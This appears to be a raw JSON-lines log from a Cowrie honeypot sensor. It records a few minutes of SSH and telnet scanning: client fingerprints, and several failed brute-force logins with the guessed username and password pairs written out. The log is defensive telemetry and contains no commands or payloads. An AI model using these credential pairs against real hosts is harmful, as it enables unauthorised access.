{"eventid":"cowrie.session.closed","duration":12.906309127807617,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:02.938900Z","src_ip":"170.64.224.25","session":"14af199867b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51860,"dst_ip":"10.17.0.5","dst_port":22,"session":"426ab0b30633","protocol":"ssh","message":"New connection: 81.177.101.45:51860 (10.17.0.5:22) [session: 426ab0b30633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:16.620641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:16.625882Z","src_ip":"81.177.101.45","session":"426ab0b30633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:16.746887Z","src_ip":"81.177.101.45","session":"426ab0b30633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123456","message":"login attempt [sftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:17.235692Z","src_ip":"81.177.101.45","session":"426ab0b30633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:18.366791Z","src_ip":"81.177.101.45","session":"426ab0b30633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":52004,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d37a81134c3","protocol":"ssh","message":"New connection: 118.26.36.195:52004 (159.203.135.109:22) [session: 3d37a81134c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:26.415795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:26.419905Z","src_ip":"118.26.36.195","session":"3d37a81134c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:26.633993Z","src_ip":"118.26.36.195","session":"3d37a81134c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":49932,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e596b78ec58","protocol":"ssh","message":"New connection: 85.215.121.209:49932 (10.17.0.5:22) [session: 1e596b78ec58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:26.738597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:26.743626Z","src_ip":"85.215.121.209","session":"1e596b78ec58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:26.834388Z","src_ip":"85.215.121.209","session":"1e596b78ec58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1v3p3r$Tr0ng@P@ss","message":"login attempt [root/L1v3p3r$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:27.107155Z","src_ip":"85.215.121.209","session":"1e596b78ec58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator1","message":"login attempt [administrator/administrator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:27.526077Z","src_ip":"118.26.36.195","session":"3d37a81134c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:28.202494Z","src_ip":"85.215.121.209","session":"1e596b78ec58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:28.742824Z","src_ip":"118.26.36.195","session":"3d37a81134c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.74.38.239","src_port":38350,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d69ffe14585","protocol":"telnet","message":"New connection: 112.74.38.239:38350 (159.203.135.109:23) [session: 3d69ffe14585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:47.193686Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":46490,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d0575222373","protocol":"ssh","message":"New connection: 91.92.40.176:46490 (10.17.0.5:22) [session: 1d0575222373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:53.627914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:53.631722Z","src_ip":"91.92.40.176","session":"1d0575222373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:53.712287Z","src_ip":"91.92.40.176","session":"1d0575222373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:53.973864Z","src_ip":"91.92.40.176","session":"1d0575222373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:55.089738Z","src_ip":"91.92.40.176","session":"1d0575222373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.244708061218262,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:42:57.438298Z","src_ip":"112.74.38.239","session":"3d69ffe14585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a1815b36127","protocol":"ssh","message":"New connection: 80.94.92.55:50520 (159.203.135.109:22) [session: 0a1815b36127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:06.380701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:07.422536Z","src_ip":"80.94.92.55","session":"0a1815b36127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:07.425531Z","src_ip":"80.94.92.55","session":"0a1815b36127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:11.194623Z","src_ip":"80.94.92.55","session":"0a1815b36127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":52194,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba69b59ff4b4","protocol":"ssh","message":"New connection: 103.78.1.33:52194 (10.17.0.5:22) [session: ba69b59ff4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:12.193661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:12.196302Z","src_ip":"103.78.1.33","session":"ba69b59ff4b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:12.415550Z","src_ip":"103.78.1.33","session":"ba69b59ff4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:13.087788Z","src_ip":"80.94.92.55","session":"0a1815b36127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tc@123456","message":"login attempt [root/Tc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:13.327379Z","src_ip":"103.78.1.33","session":"ba69b59ff4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:14.549873Z","src_ip":"103.78.1.33","session":"ba69b59ff4b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":35904,"dst_ip":"10.17.0.5","dst_port":22,"session":"137e8312a897","protocol":"ssh","message":"New connection: 211.251.245.88:35904 (10.17.0.5:22) [session: 137e8312a897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:21.692507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:21.697088Z","src_ip":"211.251.245.88","session":"137e8312a897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:21.901111Z","src_ip":"211.251.245.88","session":"137e8312a897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops2026","message":"login attempt [devops/devops2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:22.738821Z","src_ip":"211.251.245.88","session":"137e8312a897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:23.942402Z","src_ip":"211.251.245.88","session":"137e8312a897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.191.36.122","src_port":31600,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1b34e0659fe","protocol":"ssh","message":"New connection: 115.191.36.122:31600 (159.203.135.109:22) [session: a1b34e0659fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:27.083546Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:28.479696Z","src_ip":"124.160.173.22","session":"41cba3c06c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":43916,"dst_ip":"10.17.0.5","dst_port":22,"session":"7890ffe7ea60","protocol":"ssh","message":"New connection: 160.22.170.38:43916 (10.17.0.5:22) [session: 7890ffe7ea60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:35.964719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:35.999799Z","src_ip":"160.22.170.38","session":"7890ffe7ea60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:36.288517Z","src_ip":"160.22.170.38","session":"7890ffe7ea60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":41871,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca39558e75ec","protocol":"ssh","message":"New connection: 14.55.144.22:41871 (159.203.135.109:22) [session: ca39558e75ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:38.366605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:43:38.372642Z","src_ip":"14.55.144.22","session":"ca39558e75ec","protocol":"ssh"}
